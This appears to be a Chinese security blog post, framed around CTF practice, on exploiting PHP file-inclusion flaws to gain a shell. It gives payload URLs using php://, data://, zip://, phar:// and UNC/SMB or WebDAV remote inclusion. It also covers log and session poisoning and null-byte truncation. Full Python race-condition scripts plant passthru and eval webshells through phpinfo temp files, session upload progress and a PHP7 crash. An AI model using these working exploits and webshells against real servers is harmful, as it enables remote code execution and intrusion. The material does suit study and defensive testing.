浅析php文件包含及其getshell的姿势

0x1 前言

 不管平时在打ctf或者代码审计的过程中,文件包含都是很薄弱、很常见的点,一般的开发人员可能觉得文件包含没有什么大问题,低估其造成的危害,我一个ctf爱好者也是这么认为的,直到最近打了几场ctf都出现了文件包含的点,然后被暴虐,才发现文件包含的利用面很广,所以就此打算写篇文章来记录下自己的学习过程。

0x2 认识和了解包含函数

 PHP里面共有4个与文件包含相关的函数,分别是:

include  
require
include_once
require_once

查看相关函数的文档了解他们的差异

function.include.php

function.include-once.php

0x3 支持的协议和封装协议

通过function.include.php可以看到文件包含函数可以使用封装协议。

支持的协议和封装协议 //官方文档

这里重点讲下常用的伪协议:

  1. file://
    这个协议可以展现本地文件系统,默认目录是当前的工作目录。
    file:///path/to/file.ext 在文件包含中其实也就是等价/path/to/file.ext
    但是如果来个题目给你来个正则匹配..//开头的时候就可以用这个方法来绕过了。
  2. php://
    (1)php://input是个可以访问请求的原始数据的只读流
    (2)php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用
    常见用法:

    可用过滤器列表 这里面列出了各种过滤器

    (1)
    readfile("http://www.example.com");
    等价于
    readfile("php://filter/resource=http://www.example.com");
    (2)
    读取链
    file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
    写入链
    file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
    这个点在ctf有时候会很有用,可以绕过一些waf
    

    (3)php://input

    可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
    
       有自身局限性:
    
         allow_url_fopen :off/on (默认配置on)            allow_url_include:on (默认配置off)

后面那些可以看@Thinking 师傅整理的一个小手册。

0x4 正文

下面通过构设场景然后解决问题的方式来进行分析。

假设当前页面存在一个任意文件包含漏洞(无后缀限制),代码如下:

<?php
$file = $_GET['file'];
include($file);
?>

4.1 读取源代码

payload:php://filter/read=convert.base64-encode/resource=filename

测试:

http://127.0.0.1:8888/ctf/cli/3.php?file=php://filter/read=convert.base64-encode/resource=./3.php

过程: 读取文件内容->base64编码->php不解析->显示base64编码

4.2 Getshell 思路

因为当前我们可以包含文件,所以只要我们能控制任意文件内容即可。

0x4.2.1 allow_url_include 开启的情况

allow_url_include 默认环境在php5.2之后默认为off,所以说这个用法比较鸡肋,但是平时在看phpinfo的时候可以查看下这个是否开启。

关于这个参数的文档介绍: allow_url_include

allow_url_fopen 默认开启,所以我们可以通过利用远程url或者php://协议直接getshell

1.http://127.0.0.1:8888/ctf/cli/3.php?file=http://remote.com/shell.txt

2.http://127.0.0.1:8888/ctf/cli/3.php?file=php://input PostData:<?php phpinfo();?>

这里需要注意一点的是浏览器在传输过程会对一些特殊字符进行url编码,所以我们可以利用burp绕过这一步

或者直接curl 命令

curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"

3.http://10.211.55.20:8081/test.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

通过data://协议可以直接解析base64编码

0x4.2.2 allow_url_include 关闭双off的情况(window环境下)

就算即使 allow_url_include and allow_url_fopen均为off 在window主机环境下仍然可以进行远程文件执行

1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。 注意主要这个字,所以说也支持远程网络
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
2:unc共享就是指网络硬盘的共享

因为 allow_url_include 为off的时候,php不会加载远程的http 或者 ftp的url,但是没有禁止SMB的URL加载。

因为SMB share服务器需要用UNC路径去访问,而Linux没有UNC路径所以这种方法只能在window下利用

利用1: UNC->SMB

利用过程:

阿里云的ubuntu机器上安装samba服务。(失败,阿里云默认关闭了445等高危端口)

依次执行以下命令:

apt-get install samba

mkdir /var/www/html/pub/

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

echo > /etc/samba/smb.conf

vim /etc/samba/smb.conf

写入如下内容:

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

然后重新启动SAMBA服务器

service smbd restart

然后可以很遗憾告诉你

但是445的确内部开启了,后面就算各种调安全策略也没用,可以看下这篇文章win7使用阿里云samba共享

所以说要找台能开启445的机子,按照上面的步骤做就行了,(腾讯云maybe可以,但是我安装过程出了问题)

然后

http://127.0.0.1:8081/test.php?file=//47.101.46.179/1.php

就可以远程RCE了。

下面第二种方法能很好解决445端口被封杀(一是目标服务器封杀 二是自己的vps封杀)的问题。

利用2: UNC->webdav

借用P神的方法快速搭建webdav服务器

一键启动一个webdav服务器

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav然后把php文件放到/root/webdav/data里就行了

接着直接访问:

http://127.0.0.1:8081/test.php?file=//47.101.46.179//webdav/1.php

可以看到直接远程包含成功了。

0x4.2.3 尝试包含日志文件、环境文件等可控文件

这种利用方式其实在实战中是比较鸡肋的,因为默认的权限是不允许访问的,但是可以去尝试下。

不过如果主机是window系统,像phpstudy那种一键安装的都具有高权限,完全可以通过包含一些文件来getshell。

1.Linux 系统下

一般在Linux系统下通过apt-get install apache2 默认安装的apache 或者nginx都没有权限访问这些文件

关于linux权限问题可以参考鸟哥文章:第六章、Linux 的文件权限与目录配置

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/apache2/access.log
-rw-r----- 1 root adm 0 May 18 06:25 /var/log/apache2/access.log

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/nginx/access.log
-rw-r----- 1 www-data adm 0 May 18 06:25 /var/log/nginx/access.log

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/
drwxr-xr-x 2 root   adm           4096 May 18 06:25 nginx

这里以/var/log/apache2/access.log为例子,文件拥有者为root,所属群组为adm,root用户可以rw-,同群组用户r—只可以读。

而我们的php和apache2进程的user一般是www-data

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root@VM-221-25-ubuntu:/var/log# groups www-data #查看用户所属的组
www-data : www-data

所以说没办法访问到这些文件达到RCE目的,但是有时候有些管理员会因为方便等问题导致权限配置错误。

其实也可以fuzz下文件读取漏洞路径收集

1.包含日志文件

通过burp访问:

1.http://127.0.0.1:8081/test.php?file=<?php phpinfo();?>

2.http://127.0.0.1:8081/test.php?file=../../../../../../../var/log/apache2/access.log

2.包含系统环境

linux(FreeBSD是没有这个的)下的/proc/self/environ 会获取用户的UA

VM-221-25-ubuntu:/var/log# ls -al /proc/self/environ
-r-------- 1 root root 0 Jun 30 09:51 /proc/self/environ

这个其实有点意思,应该实战可能会出现的情景,个人认为应该是httpd或者php的权限太高导致的。

Exploiting LFI to RCE /proc/self/environ with burpsuite:https://www.youtube.com/watch?v=dlh0ogYy9ys

2.window系统下

这个实战性还是很强的,所以这里我进行演示下,在默认phpstudy安装环境下如何实现getshell

默认安装的时候是没有开启日志记录功能的也就是不存在 access.log

但是默认存在php error log

C:\phpStudy\Apache\logs\error.log是存在的

不能在浏览器上直接访问,因为浏览器会自动urlencode编码特殊字符,所以利用的时候要用burp去操作

1.访问不存在带有payload的文件

然后查看下

发现成功写入

http://127.0.0.1:8081/test.php?file=C:\phpStudy\Apache\logs\error.log然后直接getshell

0x4.2.4 存在上传图片等功能结合文件包含getshell

0x4.2.4.1 情况1 任意文件包含
<?php
$file = $_GET['file'];
include($file);
?>

还是这种情况(任意文件可控包含),这个时候如果可以上传文件比如图片之类的,直接包含起来就行了。

http://127.0.0.1:8081/test.php?file=shell.png

0x4.2.4.2 情况2 限制后缀
<?php
$file = $_GET['file'].".php"; //限制只能包含php后缀的文件。
include($file);
?>

因为上传点只允许上传.jpg .png .gif后缀的图片,比如我们上传了 test.jpg

拼接之后就是: test.jpg.php这个文件肯定不存在。

这个时候我们就可以利用伪协议来进行绕过。

我们构造一个zip压缩包:

就是写一个shell.php -> zip压缩得到压缩包,然后改名为shell.png,去上传

1.利用zip://协议

zip://与phar://的使用类似,但是需要绝对路径, zip文件后面要跟%23加zip文件里的文件

http://127.0.0.1:8081/test2.php?file=zip://C:/phpStudy/WWW/shell.png%23shell

2.利用phar://协议

这个也可以用前面的那个压缩包,不过不需要#去分开压缩包里面的内容了,phar://协议是根据文件头去判断是不是压缩文件的,所以shell.png不会影响正常解析出这个压缩包。(这个在CTF比赛中很常见)

http://127.0.0.1:8081/test2.php?file=phar://shell.png/shell

  1. 利用截断绕过(老版本PHP)
    这个以前还是很常见的,现在的话,利用很有限,这里就不去搭建环境测试了。
    引用l3mon师傅博客的写的总结。
    1. %00截断
      /etc/passwd%00
      (需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
    2. %00截断目录遍历:
      /var/www/%00
      (需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
    3. 路径长度截断:
      /etc/passwd/././././././.[…]/./././././.
      (php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
    4. 点号截断:
      /boot.ini/………[…]…………
      (php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

0x4.2.5 phpinfo + 文件包含 getshell

这个是我想重点去研究和分析的tips,因为最近在打比赛中有这个思路,但是却遇到了一些问题。

首先我们可以了解下:

phpinfo(); 可以给我们提供什么信息。 参考下这篇文章: phpinfo中值得注意的信息

开头的内容能给我门提供很多信息(我画的红框里面)

常用:

system info 详细的操作系统信息 确定window or linux
Registered PHP Streams and filters 注册的php过滤器和流协议
extension_dir php扩展的路径
short_open_tag <?= 和 <? echo 等价
disable_function 禁用函数
open_basedir 将用户可操作的文件限制在某目录下
SERVER_ADDR 真实ip
DOCUMENT_ROOT web根目录
_FILES["file"] 可以获取临时文件名字和路径
session 可以查看session的相关配置

0x4.2.5.1 phpinfo-LFI 本地文件包含临时文件getshell

理论来说是通杀的,但是我在打国赛的时候用脚本一直不成功,debug之后确定是利用条件比较苛刻,也可能是服务器处理性能比较好,没办法竞争成功。(后面我才发现原来是脚本多了个%00,下面的脚本我自己测试成功的了)

实战案例: 自如网某业务文件包含导致命令执行(LFI + PHPINFO getshell 实例

原理非常简单:

我们构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的_FILE["file"]查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。

php处理流程timeline如下:

相关脚本(我自己修改了一下):

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    # 这里需要修改为phpinfo.php的地址
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.find("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None
    s2.send(lfireq % (fn, host))
    # print lfireq % (fn, host) #debug调试结果
    d = s2.recv(4096)
    # print d #查看回显是否成功
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

当前环境:

http://127.0.0.1:8233/lfi.php?file=../../../etc/passwd 文件包含

http://127.0.0.1:8233/phpinfo.php

然后直接按照上面提示修改脚本

主要是修改

这个脚本的判断条件是Tag 所以不能少,可以去掉一些debug的注释查看程序执行过程

然后执行下py

python lfi.py 127.0.0.1 8233 100

可以看到的确成功了。

0x4.2.5.2 session + lfi getshell

包含session文件,我们需要了解

session.upload_progress

session.save_path   /var/lib/php/sessions   /var/lib/php/sessions //通过phpinfo获取session存储路径

这些基本知识

官方文档如下: Session 上传进度

里面有句关键的话:

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得

可以发现value的值可以控制而且写入到了session文件里面,这就是导致漏洞利用的原因。

php默认配置说明:

默认开启session.upload_progress.enabled and session.upload_progress.cleanup

Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled. 一旦POST请求被读取完成,session内容就会被清空

攻击流程:

1.构造上传表单(参考官方表单)

<form action="http://127.0.0.1:8233" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

没有上传时的session文件:

burp上传后:

可以看到生成相应文件名字的session,但是因为session.upload_progress.cleanup开启,读取完post内容时,session内容就会清空,所以我们需要用到条件竞争,一直发送请求,然后一直包含。

2.使用burp进行条件竞争

1.根据session构造路径

/var/lib/php/sessions/sess_PHPSESSID

也就是:

/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok

构造包含路径:

http://127.0.0.1:8233/lfi.php?file=/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok

然后burp进行爆破

payload设置NULL payloads

请求包含我设置5000次,上传我设置1000次(这样可以一边持续请求,然后一边生成)

可以看到成功实现了包含

其实用burp还是比较麻烦的,这里可以用@wonderkun师傅的一个脚本

#!coding:utf-8

import requests
import time
import threading


host = 'http://127.0.0.1:8233/'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'

def creatSession():
    while True:
        files = {
        "upload" : ("tmp.jpg", open("/etc/passwd", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo md5('1');?>" }
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)

fileName = "/var/lib/php/sessions/sess_"+PHPSESSID

if __name__ == '__main__':

    url = "{}/lfi.php?file={}".format(host,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if "c4ca4238a0b923820dcc509a6f75849b" in res.content:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

0x4.2.6 LFI + php7崩溃

如果没有phpinfo获取tmp文件名的时候,我们可以利用php7特有的一个小特性

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样会导致php在执行过程中出现segment fault错误,这样如果再此同时上传文件那么临时文件就会被爆存在/tmp目录下,不会被删除。

这里我直接引用一叶飘零师傅做的一道题目和脚本,方便我们以后查阅

其实道理很简单,就是这个题目还给你提供了一个列目录的功能,我们生成tmp文件,然后列目录获取文件名就好了

import requests
from io import BytesIO
import re
files = {
  'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r =  requests.post(url=url,data=data)
print r.content

0x5 总结

 关于文件包含的我遇到的常见利用基本都总结和提供相应的脚本在上面了,如果师傅们有其他玩法欢迎与我一起交流。

0x6 参考链接

amazing phpinfo()

N1CTF Easy&&Hard Php Writeup

RFI 绕过 URL 包含限制 getshell

通过SMB造成远程文件包含(双Off情况)

文件包含漏洞小结

hitcon 2018受虐笔记一:one-line-php-challenge 学习

点击收藏 | 3 关注 | 3
登录 后跟帖